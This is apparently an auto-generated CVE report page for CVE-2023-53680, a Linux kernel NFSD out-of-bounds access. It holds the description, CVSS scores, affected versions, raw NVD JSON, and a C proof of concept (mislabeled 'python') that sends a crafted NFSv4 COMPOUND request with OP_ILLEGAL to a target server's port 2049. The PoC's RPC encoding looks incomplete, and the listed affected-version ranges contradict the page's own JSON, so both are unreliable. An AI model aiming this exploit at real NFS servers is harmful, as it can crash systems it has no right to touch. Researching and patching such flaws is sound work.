Security Vulnerability Report
中文
CVE-2023-53680 CVSS 7.8 HIGH

CVE-2023-53680

Published: 2025-10-07 16:15:52
Last Modified: 2026-02-26 23:09:39
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: NFSD: Avoid calling OPDESC() with ops->opnum == OP_ILLEGAL OPDESC() simply indexes into nfsd4_ops[] by the op's operation number, without range checking that value. It assumes callers are careful to avoid calling it with an out-of-bounds opnum value. nfsd4_decode_compound() is not so careful, and can invoke OPDESC() with opnum set to OP_ILLEGAL, which is 10044 -- well beyond the end of nfsd4_ops[].

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.3:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.15.149
Linux Kernel 5.16.0 - 6.1.79
Linux Kernel 6.2.0 - 6.6.18
Linux Kernel 6.7.0 - 6.7.6
Linux Kernel 6.8.0 - 6.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2023-53680 - Linux Kernel NFSD Out-of-Bounds Array Access PoC * * This PoC demonstrates how to trigger the OPDESC() out-of-bounds access * by sending a crafted NFSv4 COMPOUND request containing an illegal operation. * * Requires: libnfs or raw socket access to an NFSv4 server. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> /* NFSv4 constants */ #define NFS4_PROGRAM 100003 #define NFS4_VERSION 4 #define NFS4_COMPOUND 1 #define NFSPROC4_COMPOUND 1 #define OP_ILLEGAL 10044 /* XDR encoding helpers */ static unsigned int xdr_pos = 0; static unsigned char xdr_buffer[8192]; static void xdr_encode_uint32(unsigned int *pos, unsigned int value) { unsigned char *p = xdr_buffer + *pos; p[0] = (value >> 24) & 0xFF; p[1] = (value >> 16) & 0xFF; p[2] = (value >> 8) & 0xFF; p[3] = value & 0xFF; *pos += 4; } static void xdr_encode_string(unsigned int *pos, const char *str) { unsigned int len = strlen(str); xdr_encode_uint32(pos, len); memcpy(xdr_buffer + *pos, str, len); *pos += (len + 3) & ~3; /* pad to 4-byte boundary */ } int main(int argc, char *argv[]) { int sock; struct sockaddr_in server_addr; const char *target_ip = (argc > 1) ? argv[1] : "127.0.0.1"; /* Create TCP socket */ sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); return 1; } /* Connect to NFS server */ memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(2049); inet_pton(AF_INET, target_ip, &server_addr.sin_addr); if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("connect"); close(sock); return 1; } /* Build NFSv4 COMPOUND request with OP_ILLEGAL */ unsigned int pos = 0; /* RPC header (simplified) */ xdr_encode_uint32(&pos, 0x80000000); /* xid */ xdr_encode_uint32(&pos, 0); /* msg_type = CALL */ xdr_encode_uint32(&pos, 2); /* RPC version */ xdr_encode_uint32(&pos, NFS4_PROGRAM); xdr_encode_uint32(&pos, NFS4_VERSION); xdr_encode_uint32(&pos, NFSPROC4_COMPOUND); /* COMPOUND args */ xdr_encode_string(&pos, "anonymous"); /* tag */ xdr_encode_uint32(&pos, 4); /* minorversion = 0, use NFSv4.0 */ /* Operations array - single operation with OP_ILLEGAL */ xdr_encode_uint32(&pos, 1); /* number of operations */ xdr_encode_uint32(&pos, OP_ILLEGAL); /* opnum = OP_ILLEGAL (triggers OOB) */ /* Send the crafted request */ if (send(sock, xdr_buffer, pos, 0) < 0) { perror("send"); close(sock); return 1; } printf("[+] Sent crafted NFSv4 COMPOUND with OP_ILLEGAL to %s\n", target_ip); printf("[+] Target NFSD should trigger out-of-bounds access in OPDESC()\n"); close(sock); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53680", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:52.160", "lastModified": "2026-02-26T23:09:39.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Avoid calling OPDESC() with ops->opnum == OP_ILLEGAL\n\nOPDESC() simply indexes into nfsd4_ops[] by the op's operation\nnumber, without range checking that value. It assumes callers are\ncareful to avoid calling it with an out-of-bounds opnum value.\n\nnfsd4_decode_compound() is not so careful, and can invoke OPDESC()\nwith opnum set to OP_ILLEGAL, which is 10044 -- well beyond the end\nof nfsd4_ops[]."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14", "versionEndExcluding": "5.10.220", "matchCriteriaId": "DE4ACFB8-0C5D-4961-BEB5-F3178AF7C9FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.107", "matchCriteriaId": "6BCC0C73-754E-4985-A087-F74888650709"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.24", "matchCriteriaId": "E6EC432F-985F-450F-954E-7EAD42ADA1F8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.11", "matchCriteriaId": "93C03C9A-798F-4CD5-912F-A436BFA0CC7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc1:*:*:*:*:*:*", "matchCriteriaId": "B8E3B0E8-FA27-4305-87BB-AF6C25B160CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc2:*:*:*:*:*:*", "matchCriteriaId": "A47F0FC3-CE52-4BA1-BA51-22F783938431"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc3:*:*:*:*:*:*", "matchCriteriaId": "3583026A-27EC-4A4C-850A-83F2AF970673"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc4:*:*:*:*:*:*", "matchCriteriaId": "DC271202-7570-4505-89A4-D602D47BFD00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.3:rc5:*:*:*:*:*:*", "matchCriteriaId": "D413BB6D-4F74-4C7D-9163-47786619EF53"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/50827896c365e0f6c8b55ed56d444dafd87c92c5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/804d8e0a6e54427268790472781e03bc243f4ee3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a64160124d5a078be0c380b1e8a0bad2d040d3a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f352c41fa718482979e7e6b71b4da2b718e381cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ffcbcf087581ae68ddc0a21460f7ecd4315bdd0e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}